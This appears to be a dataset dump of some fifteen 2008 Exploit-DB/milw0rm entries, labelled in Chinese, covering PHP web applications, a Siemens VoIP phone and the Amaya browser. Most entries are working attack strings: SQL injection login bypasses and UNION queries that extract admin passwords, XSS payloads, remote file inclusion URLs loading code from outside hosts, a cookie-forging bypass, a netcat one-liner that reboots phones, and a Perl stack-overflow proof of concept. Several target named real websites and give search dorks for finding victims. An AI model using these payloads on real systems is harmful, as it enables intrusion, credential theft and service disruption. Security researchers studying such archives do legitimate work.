QLWD/code_shield huggingface dataset:
标题: chipmunk topsites - Authentication Bypass / Cross-Site Scripting EDB-ID: 7227 CVE: 2008-7072 2008-7071 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: [~] Chipmunk Topsites (Auth Bypass) SQL Injection & XSS Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu ( or dont write anything )

note: generally admin name: admin 


exploit for demo:

http://www.chipmunk-scripts.com/topsites/login.php

username: admin ' or ' 1=1--

passwd: ZoRLu  ( or dont write anything )

or 

username: zorlu ' or ' 1=1--

passwd: ZoRLu  ( or dont write anything )


XSS:

http://www.arcade-classics.net/top100/index.php?start="><script>alert()</script>

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7227
标题: CMS Ortus 1.13 - SQL Injection EDB-ID: 7237 CVE: 2008-6282 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-26 漏洞利用脚本: Author: otmorozok428, http://forum.antichat.ru 

Products: CMS Ortus 1.12, CMS Ortus 1.13

Vendor: http://ortus.nirn.ru

Download: http://ortus.nirn.ru/files/ortus1-12.zip, http://ortus.nirn.ru/files/ortus1-13.zip

Dork (for ALL Versions of CMS Ortus): inurl:index.php?ortupg=



SQL Injection Vulnerability in POST Form:

http://www.site.com/index.php?mod=users_edit_pub

"City" field: [SQL Injection]



EXAMPLE:

1. You need to register first

   http://www.site.com/index.php?mod=users_add

2. Authentication

   http://www.site.com/index.php?mod=auth

3. Edit user profile next

   http://www.site.com/index.php?mod=users_edit_pub

4. Exploit "City" field (receive admin rights)

   MyCity', `group`='admin

5. Login to admin area

   http://www.site.com/auth.php




You can see demo video here:

http://depositfiles.com/files/h8sbwikey

# milw0rm.com [2008-11-26] URL: https://www.exploit-db.com/exploits/7237
标题: FAQ Manager 1.2 - 'header.php' Remote File Inclusion EDB-ID: 7229 CVE: 2008-5288 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: [~] FAQ Manager 1.2 Remote File injulide : ) )
[~]
[~] download: http://www.4yoursite.nl/downloads/faq_man_1.2.zip
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

file:

include/header.php

exp:

http://localhost/script/include/header.php?config_path=ZoRLu.txt?


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7229
标题: Star Articles 6.0 - Blind SQL Injection (1) EDB-ID: 7240 CVE: 2008-7075 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-26 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +            stararticles blind sql injection Vulnerability          +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

  
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 26 nov 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com

#####################################################

APPLICATION   : stararticles
DOWNLOAD(175$): http://cmsnx.com/psf/order.php?id=5
VENDOR        : http://www.stararticles.com/
DEMO          : http://www.kalptarudemos.com/demo/stararticle/
DORK          : inurl:"article.download.php"

#####################################################


[+] vuln    : blind sql injection
              
              many of pages are vulnerable to blind sql injection:
              
              ./article.list.php

              ./article.print.php
              
              ./article.comments.php

              ./article.publisher.php
              
                    .
                    .
                    .

[+] Exploit : 
              true:
               
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=5
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=5
             
              false:
              
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=4
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=4


##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-11-26] URL: https://www.exploit-db.com/exploits/7240
标题: Siemens C450IP/C475IP - Remote Denial of Service EDB-ID: 7220 CVE: 2008-7065 类型: DOS 平台: HARDWARE 发布日期: 2008-11-24 漏洞利用脚本: Hi,

echo -e "X sip:s X\nFrom:<sip:@x>\nTo:<sip:@x>\n" | nc -q0 -u <target> 5060

Will disconnect all current VOIP and PSTN calls and reboot
the C450IP/C475IP devices.

Tested with current firmwares.

Vendor (Siemens) was contacted 11/2007, no fix supplied yet.

Have phun!

sky & Any

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7220
标题: WebStudio eCatalogue - Blind SQL Injection EDB-ID: 7223 CVE: 2008-5294 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: WebStudio eCatalogue (pageid)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.bdigital.biz/index.php?pageid=218

DorK : ""Powered by WebStudio eCatalogue""

Demo :
_______


http://webstudioecatalogue.com/index.php?pageid=50+and+substring(@@version,1,1)=3
( TRUE  )



http://webstudioecatalogue.com/index.php?pageid=50+and+substring(@@version,1,1)=4
( FALSE )



http://webstudioecatalogue.com/index.php?pageid=50+and+substring(@@version,1,1)=5
( FALSE )




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7223
标题: WebStudio eHotel - Blind SQL Injection EDB-ID: 7222 CVE: 2008-5293 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: WebStudio eHotel (pageid)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.bdigital.biz/index.php?pageid=216

DorK : "Powered by WebStudio eHotel"

Demo :
_______


http://www.webstudioehotel.com/index.php?pageid=50+and+substring(@@version,1,1)=3
( TRUE  )



http://www.webstudioehotel.com/index.php?pageid=50+and+substring(@@version,1,1)=4
( FALSE )



http://www.webstudioehotel.com/index.php?pageid=50+and+substring(@@version,1,1)=5
( FALSE )




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7222
标题: FAQ Manager 1.2 - 'categorie.php' SQL Injection EDB-ID: 7224 CVE: 2008-5287 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: +---------------------------------------------------------------------------------------+
|                                                                                       |
|       FAQ Manager 1.2 (categorie.php cat_id) Remote SQL Injection Vulnerability       |
|       Bug found by cOndemned                                                          |
|                                                                                       |
|       Script site  : http://www.4yoursite.nl/script_faq_manager.php                   |
|                                                                                       |
|       Greetz: ZaBeaTy, str0ke, doctor, Necro, 0in, TBH, Av...                         |
|                                                                                       |
+---------------------------------------------------------------------------------------+


# source of categorie.php

 [ ... ] 
 
 21. $catid = $_GET['cat_id'];
 
 [ ... ]
 
 72. $faq_query = mysql_query("SELECT * FROM `".$prefix."_faq` WHERE `faq_cat_id` = $catid");

 73. while($faq = mysql_fetch_assoc($faq_query))

 74. {

 75.  $faq_cat_id = ($faq['faq_cat_id']);

 76. }

 77.

 78. $result = mysql_query("SELECT * FROM `".$prefix."_faq` WHERE `faq_cat_id` = $catid");
 
 [ ... ] 


# proof of concept

 http://[host]/[faq_manager_path]/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*


# live demo 
 
 http://www.4yoursite.nl/demo/faq_manager/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7224
标题: WebStudio CMS - Blind SQL Injection EDB-ID: 7216 CVE: 2008-5336 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-24 漏洞利用脚本: Application:  WebStudio CMS

 

Vendor Name: BDigital Media Ltd

 

Vendors Url:  http://www.bdigital.biz

 

Bug Type:     WebStudio CMS (pageid) Blind SQL Injection Vulnerability

 

Exploitation: Remote

 

Severity: Critical

 

Solution Status: Unpatched 

 

Introduction: WebStudio CMS is a modular Web Content Management System
solution.

 

Google Dork:  "Powered by WebStudio"

 

 

Description:

 

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying
database.

 

PoC:

 

http://localhost/index.php?pageid=1+and+1=1 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+1=2 ( FALSE )

 

Exploit:

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE )

 

Solution:

 

There was no vendor-supplied solution at the time of entry.

 

Edit source code manually to ensure user-supplied input is correctly
sanitised.

 

 

Credits:

 

Charalambous Glafkos

Email:  glafkos (at) astalavista (dot) com

___________________________________________

ASTALAVISTA - the hacking & security community

www.astalavista.com

www.astalavista.net

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7216
标题: W3C Amaya 10.1 Web Browser - 'id' Remote Stack Overflow (PoC) EDB-ID: 7213 CVE: 2008-5282 类型: DOS 平台: WINDOWS 发布日期: 2008-11-24 漏洞利用脚本: #            W3C Amaya 10.1 Web Browser
#
# Amaya (id) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/41/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The "id" variable of a tag contains a buffer overflow: 
# <div id=" 93*'A/' ">r0ut3r</div>
#
# The application will not overflow with normal alphanumeric characters. 
# To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is: 
# 91 * 2 = 182 + 4
#
# [junk] + [eip] +     [shellcode]
#  182   +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# "id" variable Proof of concept: 
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 350;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<div id="' .
                        'A/' x 91 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">test</div>';
print $data;

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7213
标题: Nitrotech 0.0.3a - Remote File Inclusion / SQL Injection EDB-ID: 7218 CVE: 2008-5334 2008-5333 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-24 漏洞利用脚本: Name:     Nitrotech 0.0.3a Multiple Remote Vulnerabilities
Download: http://sourceforge.net/project/downloading.php?groupname=nitrotech&filename=nitrotech_003a.zip&use_mirror=garr
Author:   Osirys, thanks to x0r
Contact:  osirys@live.it 

Nitrotech cms is vulnerable to multiple vulnerabilities, like remote file inclusion and sql injection.

#### Remote File Inclusion Vulnerability

The first bug, the remote file inclusion, is caused becouse of an include of a non declarated variable.
Let's see the code.

File: /[path]/includes/common.php

[code]
<?php

session_start();
$SID = session_id();

 include($root . "config.php");
# OTHER CODE
[/code]

## EXPLOIT:
    http://localhost/[path]/includes/common.php?root=http://oursite.it/phpcode.txt??
##

As we can see, it's included a non declareted variable -> $root.
To fix this bug, we could just define this variable.

#### Sql Injection Vulnerability

Note: In the source there could be other sql injection, just found them by yourself if you are intersted !

This vulnerability is caused becouse of a direct use in a query of a get variable. To avoid this vulnerability
we could filtered the variable, for example with an int().

File: /[path]/members.php

[code]
 if($page_mode == 'view_user')
    {
     $query1 = "SELECT * FROM " . $table['users'] . " WHERE id = '" . $_GET['id'] . "'";
     $result1 = mysql_query($query1);
# OTHER CODE
[/code]

## EXPLOIT:
    http://localhost/[path]/members.php?id=' union all select 1,concat_ws(0x3a3a,id,username,0x3a3a,password),3,4,5,6,7,8,9,10,11,12 from nitrotech_users/*&mode=view_user&
##

As we can see, The 'id' variable comes directly from get. So we can inject our hell code.

####

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7218
标题: Goople CMS 1.7 - Arbitrary Code Execution EDB-ID: 7210 CVE: 2008-6118 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-24 漏洞利用脚本: -============================================-
Autore: x0r - Evolution Team
Msn: andry2000@hotmail.it
Cms: Goople Cms 1.7
Bug: Arbitrary File Creation
Download:
http://ovh.dl.sourceforge.net/sourceforge/gooplecms/GoopleCMS_1.7.rar
-============================================-

Exploit:

#Attack One

Logg yourself like a normal user then in your meno go on "Notepad" (
/win/notepad/index.php ), in this notepad you can make a php shell :P

#Attack Two

Use this js code for bypass the log in: javascript:document.cookie =
"loggedin=1; path=/"; <--- tnx BeyazKurt

And then go to /win/notepad/index.php


Greetz: Amore mio oggi sono 48 giorni...Ti AmO Da Impazzire... A + M....
Bimba Mia Sei La Mia Vita...

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7210
标题: Bandwebsite 1.5 - SQL Injection / Cross-Site Scripting EDB-ID: 7215 CVE: 2008-5338 2008-5337 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-24 漏洞利用脚本: [~] Bandwebsite Version 1.5 Sql & XSS Multiple Remote Vuln.
[~]
[~] download: http://membres.lycos.fr/fluxx/bandwebsite.php
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 24.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarI Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: OGRETMENLER GUNUMUZ KUTLU OLSUN : ) )
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

exploit:

http://localhost/script/lyrics.php?section=full&id=[SQL]

http://localhost/script/info.php?section=[XSS]

[SQL]

99999999+union+select+1,name,3,pass,5+from+admin--


example:

http://www.caro-kunde.de/lyrics.php?section=full&id=99999999+union+select+1,name,3,pass,5+from+admin--

login:

http://www.caro-kunde.de/login.php


XSS:

http://www.caro-kunde.de/info.php?section="><script>alert()</script>


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7215
标题: Netartmedia Real Estate Portal 1.2 - 'ad_id' SQL Injection EDB-ID: 7208 CVE: 2008-5309 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-24 漏洞利用脚本: Real Estate Portal v1.2 (ad_id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :IQ-SecuriTY >   www.IQ-TY.com   |  TrYaG > www.TrYaG.cc

Mail :  darkangel_G85@yahoo.com

___________________________________

script  : http://www.netartmedia.net/realestate/

DorK : "Powered by Real Estate Portal"

exploit :
_______

http://www.site.com/index.php?mod=re_send_email&ad_id=-7+union+select+concat(username,0x3e,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+websiteadmin_admin_users--



Demo :
_______

http://hotelsaustriadirect.com/index.php?mod=re_send_email&ad_id=-7+union+select+concat(username,0x3e,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+websiteadmin_admin_users--




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________



                             IM IraQi    |       IM TrYaGI

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7208
标题: Netartmedia Cars Portal 2.0 - SQL Injection EDB-ID: 7198 CVE: 2008-5310 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: ==================================================================================================================
          SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM
          S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M
          SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M
              S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M
          SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M
===================================================SNAKES TEAM====================================================
                                                                                       
                             Script: NetArtMedia Cars Portal Remote SQL Injection Vulnerability                                   
                                                                                                              
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =                Discovered By: Snakespc  :::ALGERIAN HaCkEr:::         =     =   
                =                                                                                    =
                =    =    ************ ::::::home : www.snakespc.com/sc::::::***************     =   =
                =                                                                                    =
                =       =                 :::::Mail: snakespc@gmail.com:::::::             =         =
                =                                                                                    =
                =           Sript : http://www.netartmedia.net/carsportal/                 =
                =                               www.netartmedia.net                                  =              
                 =================================== Snakespc ======================================    


[*]Exploit:
Using FireFox
view-source:http://localhost/[script_path]/image.php?id=-1 UNION SELECT 1,2,concat_ws(0x3e,username,password,email),4,5,6 FROM websiteadmin_admin_users--
                                                                   
===================================================================================================================
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::Super Cristal:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::
ALL www.Snakespc.com/sc >>>> Members 
str0ke.....>>>>.....milw0rm
===================================================================================================================

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7198